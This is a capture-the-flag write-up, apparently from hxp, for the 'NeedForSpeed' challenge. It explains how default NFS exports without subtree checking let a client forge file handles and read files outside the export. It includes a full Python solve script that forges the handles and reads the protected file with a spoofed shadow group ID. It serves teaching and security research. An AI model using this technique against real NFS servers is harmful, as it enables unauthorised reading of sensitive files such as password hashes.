MSC (667 points, 6 solves)
Here we explain the intended solution for the misc challenge NeedForSpeed from our recent CTF.
The challenge focuses on unsecure default behavior when not explicitly setting no_subtree_check
.
hxp thanks philipp-tg and edermi for contributing this challenge. Read more about NFS on their blogpost.
NFS memes on NFS 🏎️💨
First, let’s get the memes.
This can be done by mounting the NFS using:
mkdir mnt
sudo mount -t nfs <ip>:/ mnt/
In case your UID is not 1337, you can still not access the files. You have to first either set your own UID to 1337, or use a NFS client which does that for you. I hope you enjoyed the memes and they reminded you times when NFS stood for something.
Let’s first look at the Dockerfile what’s going on.
The challenge sets up a VM using a default Debian 12 cloud image with the following cloud-init configuration (only important parts):
# install nfs server
apt install -y nfs-kernel-server
# create user with user id 1337
useradd ctf -u 1337
# memes are owned by ctf user
chown -R ctf:ctf /memes
# flag is owned by root user
chown -R root:shadow /flag.txt
# set memes and flag to be accessible via user and group
chmod 0440 /memes/* /flag.txt
# write nfs export config: export folder /memes read only to everybody
echo "/memes *(ro)" > /etc/exports
# reload exports
exportfs -ra
When starting the VM, exportfs prints the following warning message:
exportfs: /etc/exports [1]: Neither 'subtree_check' or 'no_subtree_check' specified for export "*:/memes".
Assuming default behaviour ('no_subtree_check').
NOTE: this default has changed since nfs-utils version 1.0.x
Now you normally would expect that the default is sane.
Let’s ask the man page [2] about the feature in question:
no_subtree_check
This option disables subtree checking, which has mild security implications, but can improve reliability in some circumstances.
[...]
From release 1.1.0 of nfs-utils onwards, the default will be no_subtree_check as subtree_checking tends to cause more problems than it is worth. [...]
The main question arises: What can we actually do?
Either by dumping the mounting process with Wireshark, or by reading up on how the NFS protocol works, we get an idea of the protocol.
NFS works exclusively with file handles. A file handle consists of the root file handle (get when mounting) and a file specific handle (4 byte inode, 4 byte generation).
In theory, these 8 file specific bytes should be unguessable, leaving flag.txt to be still safe.
Actually, the generation does not matter can you can just send 0-bytes, and locally the flag gets inode number a0720000
. Just reading the flag then works. You’re done. Congratz.
Except, one additional caveat:
The flag is owned by root:shadow
and per default it’s not possible to access files owned by root as root_squash
[2] is enabled by default.
root_squash
Map requests from uid/gid 0 to the anonymous uid/gid. Note that this does not apply to any other uids or gids that might be equally sensitive, such as user bin or group staff.
Luckily, shadow
is not root
and we can just read the flag by sending authentication with GID 42.
Root /
has fixed inode 2 and generation 0 [3].
Using the NFS3 function readdirplus [1], with the root file handle and the known file handle for /
, we can get all file handles of all files and folders under /
.
This way we get the actual file handle for flag.txt
and can therefore just read the file using the default NFS read instruction.
Which gives you the flag:
hxp{Y3s_y0u_can_4lso_r34d_/etc/shadow!_Th1s_i5_f1n3!}
(although reading /etc/shadow
is not possible in this example, but we have seen it in the wild several times)
Solve script using pyNfsClient [4] with some NFS4 added manually for the challenge:
#!/usr/bin/env python3
from pyNfsClient import (NFSv3, NFS_PROGRAM, RPC)
import binascii
import sys
from xdrlib import Packer
PROCEDURE_COMPOUND = 1
OP_PUTFH = 22
OP_LOOKUP = 15
OP_GETATTR = 9
OP_GETFH = 10
OP_READDIR = 26
class NFSv4Packer(Packer):
def __init__(self):
super().__init__()
# tag
self.pack_int(0)
# minorversion
self.pack_int(0)
def pack_mask(self):
# attr mask amount
self.pack_int(2)
# attr mask 0
self.pack_int(0x00100012)
# attr mask 1
self.pack_int(0x0030a03a)
def pack_readdir(self):
self.pack_int(OP_READDIR)
self.pack_int(0) # cookie
self.pack_int(0) # cookie
self.pack_int(0) # cookie_ver
self.pack_int(0) # cookie_ver
self.pack_int(8192) # dircount
self.pack_int(8192) # maxcount
self.pack_mask()
class NFSv4(RPC):
def __init__(self, host, port, timeout, auth):
super(NFSv4, self).__init__(host=host, port=port, timeout=timeout)
self.auth = auth
def nfs_request(self, procedure, args, auth):
return super(NFSv4, self).request(NFS_PROGRAM, 4, procedure, data=args, auth=auth)
def lookup(self, folder):
packer = NFSv4Packer()
# operation count
packer.pack_int(5)
packer.pack_int(OP_PUTFH)
# this is a static root file handle
packer.pack_bytes(b"\x01\x00\x01\x00\x00\x00\x00\x00")
packer.pack_int(OP_LOOKUP)
# 0-byte is padding
packer.pack_bytes(folder)
packer.pack_int(OP_GETATTR)
packer.pack_mask()
packer.pack_int(OP_GETFH)
packer.pack_readdir()
return self.nfs_request(PROCEDURE_COMPOUND, packer.get_buffer(), auth=self.auth)
def main(host, port):
auth = {
"flavor": 1,
"machine_name": "machine",
"uid": 1337, # ctf
"gid": 42, # shadow
"aux_gid": list(),
}
nfs4 = NFSv4(host, port, 3600, auth=auth)
nfs4.connect()
memes_folder = nfs4.lookup(b"memes")
print(memes_folder)
# NFS4_OK
assert memes_folder[0:4] == b"\x00\x00\x00\x00"
fh_len = int.from_bytes(memes_folder[148:152], byteorder="big")
root_fh = memes_folder[152:152+fh_len]
print("ROOTFH", binascii.hexlify(root_fh))
# sanity check
assert root_fh[:4] == b"\x01\x00\x07\x00"
# patch fb_fileid_type to be able to read files
root_fh = root_fh[:3] + b"\x01" + root_fh[4:]
# switch to NFS3 for readdirplus, this is properly implemented
nfs3 = NFSv3(host, port, 3600, auth)
nfs3.connect()
# Inode / Generation /
root = nfs3.readdirplus(root_fh + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00")
if not root["resok"]:
print("ERROR", root["resfail"])
return False
entry = root["resok"]["reply"]["entries"][0]
flag_fh = None
# iterate through root directory
print("/")
while True:
name = entry["name"]
handle = entry["name_handle"]["handle"]
if handle:
handle = handle["data"]
if name == b"flag.txt":
flag_fh = handle
handle = handle.hex()
print(f"/{name.decode()} - {handle}")
# break if last file reached
entries = entry["nextentry"]
if not entries:
break
entry = entries[0]
if not flag_fh:
print("ERROR: flag not found")
return False
res = nfs3.read(flag_fh)
if not res["resok"]:
print(res["resfail"])
return False
print()
print("Flag:", res["resok"]["data"].decode())
return True
if __name__ == "__main__":
main(sys.argv[1], int(sys.argv[2]))